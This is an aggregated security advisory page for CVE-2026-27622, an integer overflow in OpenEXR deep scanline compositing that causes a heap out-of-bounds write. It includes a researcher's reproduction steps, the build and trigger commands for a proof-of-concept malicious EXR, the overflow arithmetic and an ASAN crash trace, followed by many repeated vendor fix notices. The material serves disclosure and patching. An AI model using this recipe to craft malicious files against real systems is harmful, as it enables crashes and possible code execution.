CVE-2026-27622

Summary

Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).

Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp):

• total_sizes[ptr] += counts[j][ptr]; (line ~511)
• overall_sample_count += total_sizes[ptr]; (line ~514)
• samples[channel].resize (overall_sample_count); (line ~535)

Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).

Attack scenario:

• Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.
• Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.
• The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.

Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0

Steps to reproduce

composite_deepscanline_poc_bundle.patch

PoC files used:

• Writer/generator: poc/composite_deep_scanline_e2e_compressed_poc.cpp
• Minimal high-level reader harness: poc/simple_exr_reader.cpp

The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.

Build with ASAN/UBSAN:

cmake -S . -B build-asan \
  -DOPENEXR_BUILD_POC=ON \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'

cmake --build build-asan --target composite_writer simple_exr_reader -j

Generate malicious file (decode-path focused profile):

ASAN_OPTIONS=detect_leaks=0 timeout 180s \
  ./build-asan/poc/composite_writer \
  --profile low-ram \
  --file /tmp/composite_decode_focus.exr

Trigger:

ASAN_OPTIONS=detect_leaks=0 timeout 30s \
  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr

ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.

Example runs

Writer (abbrev):

❯ ./build-asan/poc/composite_writer
exploit math:
  benign samples                 : 300
  malicious parts                : 86
  malicious samples per part     : 50000000
  true total samples             : 4300000300
  uint32 overflow reached        : yes
  wrapped uint32 total           : 5033004
  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)
  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
  min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)

Reader ASAN crash:

❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
    #2 0x7ed1dbcb153b in run_decode…

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.

OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light & Magic for use in computer imaging applications.

Security Fix(es):

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)

OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light &amp; Magic for use in computer imaging applications.

Security Fix(es):

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)

OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light &amp; Magic for use in computer imaging applications.

Security Fix(es):

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)

OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light &amp; Magic for use in computer imaging applications.

Security Fix(es):

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)

OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light &amp; Magic for use in computer imaging applications.

Security Fix(es):

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)

OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light &amp; Magic for use in computer imaging applications.

Security Fix(es):

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)

OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light &amp; Magic for use in computer imaging applications.

Security Fix(es):

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)

OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light &amp; Magic for use in computer imaging applications.

Security Fix(es):

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)

OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light &amp; Magic for use in computer imaging applications.

Security Fix(es):

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)

OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light &amp; Magic for use in computer imaging applications.

Security Fix(es):

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)

Summary

Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).

Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp):

• total_sizes[ptr] += counts[j][ptr]; (line ~511)
• overall_sample_count += total_sizes[ptr]; (line ~514)
• samples[channel].resize (overall_sample_count); (line ~535)

Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).

Attack scenario:

• Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.
• Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.
• The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.

Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0

Steps to reproduce

composite_deepscanline_poc_bundle.patch

PoC files used:

• Writer/generator: poc/composite_deep_scanline_e2e_compressed_poc.cpp
• Minimal high-level reader harness: poc/simple_exr_reader.cpp

The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.

Build with ASAN/UBSAN:

cmake -S . -B build-asan \
  -DOPENEXR_BUILD_POC=ON \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'

cmake --build build-asan --target composite_writer simple_exr_reader -j

Generate malicious file (decode-path focused profile):

ASAN_OPTIONS=detect_leaks=0 timeout 180s \
  ./build-asan/poc/composite_writer \
  --profile low-ram \
  --file /tmp/composite_decode_focus.exr

Trigger:

ASAN_OPTIONS=detect_leaks=0 timeout 30s \
  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr

ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.

Example runs

Writer (abbrev):

❯ ./build-asan/poc/composite_writer
exploit math:
  benign samples                 : 300
  malicious parts                : 86
  malicious samples per part     : 50000000
  true total samples             : 4300000300
  uint32 overflow reached        : yes
  wrapped uint32 total           : 5033004
  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)
  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
  min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)

Reader ASAN crash:

❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
    #2 0x7ed1dbcb153b in run_decode…

OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.

Security Fix(es):

• openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

OpenEXR is a high dynamic-range (HDR) image file format developed by Industrial Light & Magic for use in computer imaging applications. This package contains libraries and sample applications for handling the format.

Security Fix(es):

• openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.

Security Fix(es):

• openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Root has patched CVE-2026-27622 in the openexr package for Root:Debian:11. Multiple fixed versions available.

Root has patched CVE-2026-27622 in the openexr package for Root:Debian:12. Multiple fixed versions available.

Root has patched CVE-2026-27622 in the openexr package for Root:Debian:13. Multiple fixed versions available.

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.

OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.

Security Fix(es):

• openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

OpenEXR is a high dynamic-range (HDR) image file format developed by Industrial Light & Magic for use in computer imaging applications. This package contains libraries and sample applications for handling the format.

Security Fix(es):

• openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.

Security Fix(es):

• openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

• CVE-2026-27622: fix integer overflow in CompositeDeepScanLine leading to heap buffer overflow

• CVE-2026-27622: fix integer overflow in CompositeDeepScanLine leading to heap buffer overflow

• SECURITY UPDATE: Integer overflow in deep scanline compositing
  • debian/patches/CVE-2026-27622.patch: reject deep pixels claiming more than UINT_MAX samples in IlmImf/ImfCompositeDeepScanLine.cpp.
  • CVE-2026-27622

These are all security issues fixed in the libIex-3_4-33-3.4.6-1.1 package on the GA media of openSUSE Tumbleweed.

This update for openexr fixes the following issue:

• CVE-2026-27622: crafted multipart deep EXR can cause an heap out-of-bound write (bsc#1259177).

This update for openexr fixes the following issue:

• CVE-2026-27622: crafted multipart deep EXR can cause an heap out-of-bound write (bsc#1259177).

Quang Luong discovered that OpenEXR incorrectly handled sample count accumulation when processing deep scan line image files. An attacker could possibly use this issue to cause OpenEXR to crash, resulting in a denial of service, or execute arbitrary code. (CVE-2026-27622)

It was discovered that OpenEXR had an integer overflow in the PXR24 decoder. An attacker could possibly use this issue to cause OpenEXR to crash, resulting in a denial of service, or execute arbitrary code. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-34380)

Quang Luong discovered that OpenEXR had a signed integer overflow in the PIZ decoder. An attacker could possibly use this issue to cause OpenEXR to crash, resulting in a denial of service, or execute arbitrary code. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-34588)